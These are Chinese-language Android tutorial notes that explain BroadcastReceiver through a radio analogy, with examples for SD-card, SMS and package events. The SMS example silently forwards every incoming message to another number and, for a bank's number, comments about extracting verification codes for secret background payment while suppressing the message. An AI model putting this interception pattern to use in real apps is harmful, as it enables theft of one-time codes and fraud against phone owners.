广 播:收音机
电 台:发送信号
收音机:接收信号
创建广播三个步骤:
相当于:1、买收音机 2、装电池 3、调频道
onreceive():用来接收广播事件
清单文件中receiver:装电池
receiver中的intent-filter:action、category、data:调频道
示例代码:
SD卡状态: /** * 1.相当于买好了一个收音机 */ public class SDStatusReceiver extends BroadcastReceiver { // 用来接收广播事件的,一旦广播消息到来,就会执行onreceive方法 @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if ("android.intent.action.MEDIA_UNMOUNTED".equals(action)) { System.out.println("SD卡被卸载了。"); }else if("android.intent.action.MEDIA_MOUNTED".equals(action)){ Toast.makeText(context, "SD卡被挂载了", 0).show(); } } } 清单文件配置: <!-- 2.装电池 --> <receiver android:name="com.itheima.sdstatus.SDStatusReceiver" > <intent-filter > <!-- 3.调频道 --> <action android:name="android.intent.action.MEDIA_MOUNTED"/> <action android:name="android.intent.action.MEDIA_UNMOUNTED"/> <data android:scheme="file"/> </intent-filter> </receiver>
短信到来:
public class SmsListener extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { System.out.println("短信到来了。"); //objs里面存放的就是一组短信 Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ //得到每一条短信数据 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String body = smsMessage.getMessageBody(); String address = smsMessage.getOriginatingAddress(); System.out.println(body); System.out.println(address); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, address+"--"+body, null, null); if(address.equals("95533")){ System.out.println("提取验证码,偷偷的后台支付"); abortBroadcast(); } } } } 清单文件配置: <receiver android:name="com.itheima.smslistener.SmsListener" > <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
应用程序的安装与卸载:
public class PackageStatusReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if("android.intent.action.PACKAGE_INSTALL".equals(action)){ System.out.println("有包install了"+intent.getData()); }else if("android.intent.action.PACKAGE_ADDED".equals(action)){ System.out.println("有包add了"+intent.getData()); }else if("android.intent.action.PACKAGE_REMOVED".equals(action)){ System.out.println("有包卸载了"+intent.getData()); } } } 清单文件配置: <receiver android:name="com.itheima.appstatus.PackageStatusReceiver"> <intent-filter > <action android:name="android.intent.action.SCREEN_OFF"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <data android:scheme="package"/> </intent-filter> </receiver>
相关推荐
消防广播学习教案.pptx
android服务和广播学习教案.pptx
Broadcast 3种广播的使用总结 ,解说地址:http://blog.csdn.net/niubitianping/article/details/51925048
广播学习的demo 具体的自己看 这个demo里面监听的是home 键 实际需求请自己改对应代码
xamarin学习笔记A08(安卓广播)
数字广播电视PPT学习教案.pptx
《珍惜时间,勤奋学习》广播稿.pdf
面向分布式机器学习的大消息广播设计
UDP广播简单示例 有研究或探讨或开源的请加群:37424970 或联系本人MSN或邮箱:zhuseahui@yahoo.com.cn
日本广播电视体制PPT学习教案.pptx
消防广播PPT学习教案.pptx
初中广播站学习总结.pdf
Android系统中的广播(Broadcast)机制简要介绍和学习计划
对于学习通信原理中调频与调幅是很好的基础,也能扩大知识面,很不错的
广播电视发送技术电视图像调制技术PPT学习教案.pptx
广播电视PPT学习教案.pptx
广播电视概论学习教案.pptx
android广播时间处理机制学习小结,android开发技术方面的事件处理信息。
udp广播软件的服务器和客户端的实现,适合入门学习
广播电视节目制作 广播节目的采访要点PPT学习教案.pptx